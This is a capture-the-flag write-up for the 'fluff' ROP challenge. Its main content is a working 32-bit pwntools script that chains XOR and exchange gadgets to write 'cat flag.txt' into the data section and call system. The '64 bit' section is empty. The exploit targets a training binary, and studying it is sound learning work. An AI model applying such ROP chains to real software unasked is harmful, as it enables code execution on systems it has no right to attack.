fluff
Analysis
The challenges was similar to that of write4, the only difference was in building creative ROP chains, everything else was similar, had to get a working write primitive, load the string into the memory, and call system to get the flag.
32 bit
from pwn import *
# --> 0x0804868c: mov edx, 0xdefaced0; ret;
# --> 0x080483e1: pop ebx; ret;
# --> 0x0804867b: xor edx, ebx; pop ebp; mov edi, 0xdeadbabe; ret;
# --> 0x08048689: xchg edx, ecx; pop ebp; mov edx, 0xdefaced0; ret;
# --> 0x08048693: mov dword ptr [ecx], edx; pop ebp; pop ebx; xor byte ptr [ecx], bl; ret;
# --> 0x08048430: System call
## ----------------------------- Sequence
## XOR the address of data section with EDX value
## Move the EDX value to EDX
## Stored the XORed address into EBX
## XOR EDX and EBX -> EDX has the actual address for the data section
## Xchange the values for ECX and EDX -> ECX has the address for data section
## XOR the chunk with EDX value
## Move the EDX value into EDX
## Store the XORed chunk into EBX
## Execute the XOR EDX and EBX --> Actual Chunk value is in EDX
## Move the Chunk from EDX to data section
rop_chain = []
offset = "A" * 44
load_edx = 0x0804868c
load_ebx = 0x080483e1
xor_edx_ebx = 0x0804867b
xchg_edx_ecx = 0x08048689
store_chunk = 0x08048693
data_section = 0x0804a028
edx_val = 0xdefaced0
random_pop_val = 0xdeadbeef
system = 0x08048430
flag_text = "cat flag.txt"
def get_hex_arr():
arr = re.findall('.{4}', flag_text)
return [e[::-1].encode("hex") for e in arr]
ptr = 0
for chunk in get_hex_arr():
rop_chain.append(p32(load_edx))
rop_chain.append(p32(load_ebx))
xored_data_section = (data_section + ptr) ^ edx_val
rop_chain.append(p32(xored_data_section))
rop_chain.append(p32(xor_edx_ebx))
rop_chain.append(p32(random_pop_val))
rop_chain.append(p32(xchg_edx_ecx))
rop_chain.append(p32(random_pop_val))
rop_chain.append(p32(load_edx))
rop_chain.append(p32(load_ebx))
rop_chain.append(p32(int(chunk, 16) ^ edx_val))
rop_chain.append(p32(xor_edx_ebx))
rop_chain.append(p32(random_pop_val))
rop_chain.append(p32(store_chunk))
rop_chain.append(p32(random_pop_val))
rop_chain.append(p32(0))
ptr += 4
rop_chain.append(p32(system))
rop_chain.append(p32(0))
rop_chain.append(p32(data_section))
print offset + ''.join(rop_chain)64 bit
Last updated
Was this helpful?